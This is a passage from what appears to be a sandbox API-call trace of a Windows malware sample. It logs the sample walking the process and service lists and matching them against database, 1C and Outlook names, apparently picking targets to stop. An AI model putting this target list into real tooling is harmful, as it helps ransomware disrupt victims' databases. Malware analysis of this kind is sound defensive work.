th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.321] lstrlenW (lpString="svchost.exe") returned 11 [0309.321] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0309.321] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0309.321] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0309.321] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0309.321] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0309.321] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0309.321] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0309.321] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0309.322] lstrlenW (lpString="audiodg.exe") returned 11 [0309.322] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0309.322] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0309.323] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0309.323] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0309.323] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0309.323] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0309.323] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0309.323] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0309.323] lstrlenW (lpString="sihost.exe") returned 10 [0309.323] lstrcmpiW (lpString1="1c8.exe", lpString2="sihost.exe") returned -1 [0309.323] lstrcmpiW (lpString1="1cv77.exe", lpString2="sihost.exe") returned -1 [0309.324] lstrcmpiW (lpString1="outlook.exe", lpString2="sihost.exe") returned -1 [0309.324] lstrcmpiW (lpString1="postgres.exe", lpString2="sihost.exe") returned -1 [0309.324] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="sihost.exe") returned -1 [0309.324] lstrcmpiW (lpString1="mysqld.exe", lpString2="sihost.exe") returned -1 [0309.324] lstrcmpiW (lpString1="sqlservr.exe", lpString2="sihost.exe") returned 1 [0309.324] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.334] lstrlenW (lpString="svchost.exe") returned 11 [0309.334] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0309.334] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0309.334] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0309.334] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0309.334] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0309.334] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0309.334] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0309.334] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0309.335] lstrlenW (lpString="taskhostw.exe") returned 13 [0309.335] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1 [0309.335] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1 [0309.335] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1 [0309.335] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1 [0309.335] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhostw.exe") returned -1 [0309.335] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhostw.exe") returned -1 [0309.335] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhostw.exe") returned -1 [0309.336] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0309.336] lstrlenW (lpString="explorer.exe") returned 12 [0309.336] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0309.336] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0309.336] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0309.336] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0309.336] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0309.336] lstrcmpiW (lpString1="mysqld.exe", lpString2="explorer.exe") returned 1 [0309.336] lstrcmpiW (lpString1="sqlservr.exe", lpString2="explorer.exe") returned 1 [0309.336] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0309.337] lstrlenW (lpString="SearchUI.exe") returned 12 [0309.337] lstrcmpiW (lpString1="1c8.exe", lpString2="SearchUI.exe") returned -1 [0309.337] lstrcmpiW (lpString1="1cv77.exe", lpString2="SearchUI.exe") returned -1 [0309.337] lstrcmpiW (lpString1="outlook.exe", lpString2="SearchUI.exe") returned -1 [0309.337] lstrcmpiW (lpString1="postgres.exe", lpString2="SearchUI.exe") returned -1 [0309.337] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SearchUI.exe") returned -1 [0309.337] lstrcmpiW (lpString1="mysqld.exe", lpString2="SearchUI.exe") returned -1 [0309.337] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SearchUI.exe") returned 1 [0309.337] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0309.338] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0309.338] lstrcmpiW (lpString1="1c8.exe", lpString2="ShellExperienceHost.exe") returned -1 [0309.338] lstrcmpiW (lpString1="1cv77.exe", lpString2="ShellExperienceHost.exe") returned -1 [0309.338] lstrcmpiW (lpString1="outlook.exe", lpString2="ShellExperienceHost.exe") returned -1 [0309.338] lstrcmpiW (lpString1="postgres.exe", lpString2="ShellExperienceHost.exe") returned -1 [0309.338] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="ShellExperienceHost.exe") returned -1 [0309.338] lstrcmpiW (lpString1="mysqld.exe", lpString2="ShellExperienceHost.exe") returned -1 [0309.338] lstrcmpiW (lpString1="sqlservr.exe", lpString2="ShellExperienceHost.exe") returned 1 [0309.338] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0309.339] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0309.339] lstrcmpiW (lpString1="1c8.exe", lpString2="RuntimeBroker.exe") returned -1 [0309.339] lstrcmpiW (lpString1="1cv77.exe", lpString2="RuntimeBroker.exe") returned -1 [0309.339] lstrcmpiW (lpString1="outlook.exe", lpString2="RuntimeBroker.exe") returned -1 [0309.339] lstrcmpiW (lpString1="postgres.exe", lpString2="RuntimeBroker.exe") returned -1 [0309.339] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="RuntimeBroker.exe") returned -1 [0309.339] lstrcmpiW (lpString1="mysqld.exe", lpString2="RuntimeBroker.exe") returned -1 [0309.339] lstrcmpiW (lpString1="sqlservr.exe", lpString2="RuntimeBroker.exe") returned 1 [0309.339] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0309.340] lstrlenW (lpString="1csrss.exe") returned 10 [0309.340] lstrcmpiW (lpString1="1c8.exe", lpString2="1csrss.exe") returned -1 [0309.340] lstrcmpiW (lpString1="1cv77.exe", lpString2="1csrss.exe") returned 1 [0309.340] lstrcmpiW (lpString1="outlook.exe", lpString2="1csrss.exe") returned 1 [0309.340] lstrcmpiW (lpString1="postgres.exe", lpString2="1csrss.exe") returned 1 [0309.340] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="1csrss.exe") returned 1 [0309.340] lstrcmpiW (lpString1="mysqld.exe", lpString2="1csrss.exe") returned 1 [0309.340] lstrcmpiW (lpString1="sqlservr.exe", lpString2="1csrss.exe") returned 1 [0309.340] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.341] lstrlenW (lpString="svchost.exe") returned 11 [0309.341] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0309.341] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0309.341] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0309.341] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0309.341] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0309.341] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0309.341] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0309.341] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0309.342] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0309.342] lstrcmpiW (lpString1="1c8.exe", lpString2="OfficeC2RClient.exe") returned -1 [0309.342] lstrcmpiW (lpString1="1cv77.exe", lpString2="OfficeC2RClient.exe") returned -1 [0309.342] lstrcmpiW (lpString1="outlook.exe", lpString2="OfficeC2RClient.exe") returned 1 [0309.342] lstrcmpiW (lpString1="postgres.exe", lpString2="OfficeC2RClient.exe") returned 1 [0309.342] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="OfficeC2RClient.exe") returned -1 [0309.343] lstrcmpiW (lpString1="mysqld.exe", lpString2="OfficeC2RClient.exe") returned -1 [0309.343] lstrcmpiW (lpString1="sqlservr.exe", lpString2="OfficeC2RClient.exe") returned 1 [0309.343] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.344] lstrlenW (lpString="svchost.exe") returned 11 [0309.344] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0309.344] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0309.344] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0309.344] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0309.344] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0309.344] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0309.344] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0309.344] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0309.345] lstrlenW (lpString="consent.exe") returned 11 [0309.345] lstrcmpiW (lpString1="1c8.exe", lpString2="consent.exe") returned -1 [0309.345] lstrcmpiW (lpString1="1cv77.exe", lpString2="consent.exe") returned -1 [0309.345] lstrcmpiW (lpString1="outlook.exe", lpString2="consent.exe") returned 1 [0309.345] lstrcmpiW (lpString1="postgres.exe", lpString2="consent.exe") returned 1 [0309.345] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="consent.exe") returned 1 [0309.345] lstrcmpiW (lpString1="mysqld.exe", lpString2="consent.exe") returned 1 [0309.345] lstrcmpiW (lpString1="sqlservr.exe", lpString2="consent.exe") returned 1 [0309.345] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0309.346] lstrlenW (lpString="dllhost.exe") returned 11 [0309.346] lstrcmpiW (lpString1="1c8.exe", lpString2="dllhost.exe") returned -1 [0309.346] lstrcmpiW (lpString1="1cv77.exe", lpString2="dllhost.exe") returned -1 [0309.346] lstrcmpiW (lpString1="outlook.exe", lpString2="dllhost.exe") returned 1 [0309.346] lstrcmpiW (lpString1="postgres.exe", lpString2="dllhost.exe") returned 1 [0309.346] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dllhost.exe") returned 1 [0309.346] lstrcmpiW (lpString1="mysqld.exe", lpString2="dllhost.exe") returned 1 [0309.346] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dllhost.exe") returned 1 [0309.346] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0309.347] CloseHandle (hObject=0x370) returned 1 [0309.347] Sleep (dwMilliseconds=0x1f4) [0309.854] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddb88 [0309.855] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0309.855] GetLastError () returned 0xea [0309.855] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0309.855] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0309.856] CloseServiceHandle (hSCObject=0x7ddb88) returned 1 [0309.856] lstrlenW (lpString="Appinfo") returned 7 [0309.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0309.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0309.856] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0309.856] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0309.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0309.857] lstrlenW (lpString="AppXSvc") returned 7 [0309.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0309.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0309.857] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0309.857] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0309.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0309.857] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0309.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0309.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0309.857] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0309.857] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0309.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0309.857] lstrlenW (lpString="Audiosrv") returned 8 [0309.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0309.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0309.857] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0309.857] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0309.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0309.857] lstrlenW (lpString="BFE") returned 3 [0309.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0309.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0309.857] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0309.857] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0309.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0309.857] lstrlenW (lpString="BITS") returned 4 [0309.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0309.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0309.857] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0309.857] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0309.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0309.858] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0309.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0309.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0309.858] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0309.858] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0309.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0309.858] lstrlenW (lpString="CDPSvc") returned 6 [0309.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0309.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0309.858] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0309.858] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0309.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0309.858] lstrlenW (lpString="ClickToRunSvc") returned 13 [0309.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0309.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0309.858] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0309.858] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0309.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0309.858] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0309.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0309.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0309.858] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0309.858] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0309.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0309.858] lstrlenW (lpString="CryptSvc") returned 8 [0309.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0309.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0309.858] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0309.859] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0309.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0309.859] lstrlenW (lpString="DcomLaunch") returned 10 [0309.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0309.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0309.859] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0309.859] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0309.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0309.859] lstrlenW (lpString="DeviceAssociationService") returned 24 [0309.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0309.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0309.859] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0309.859] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0309.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0309.859] lstrlenW (lpString="Dhcp") returned 4 [0309.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0309.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0309.859] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0309.859] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0309.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0309.859] lstrlenW (lpString="Dnscache") returned 8 [0309.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0309.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0309.859] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0309.859] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0309.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0309.859] lstrlenW (lpString="DoSvc") returned 5 [0309.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0309.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0309.860] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0309.860] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0309.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0309.860] lstrlenW (lpString="DPS") returned 3 [0309.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0309.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0309.860] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0309.860] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0309.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0309.860] lstrlenW (lpString="DusmSvc") returned 7 [0309.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0309.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0309.860] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0309.860] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0309.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0309.860] lstrlenW (lpString="EventLog") returned 8 [0309.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0309.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0309.860] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0309.860] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0309.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0309.860] lstrlenW (lpString="EventSystem") returned 11 [0309.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0309.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0309.860] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0309.860] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0309.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0309.860] lstrlenW (lpString="FontCache") returned 9 [0309.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0309.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0309.861] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0309.861] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0309.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0309.861] lstrlenW (lpString="gpsvc") returned 5 [0309.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0309.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0309.861] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0309.861] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0309.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0309.861] lstrlenW (lpString="iphlpsvc") returned 8 [0309.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0309.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0309.861] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0309.861] 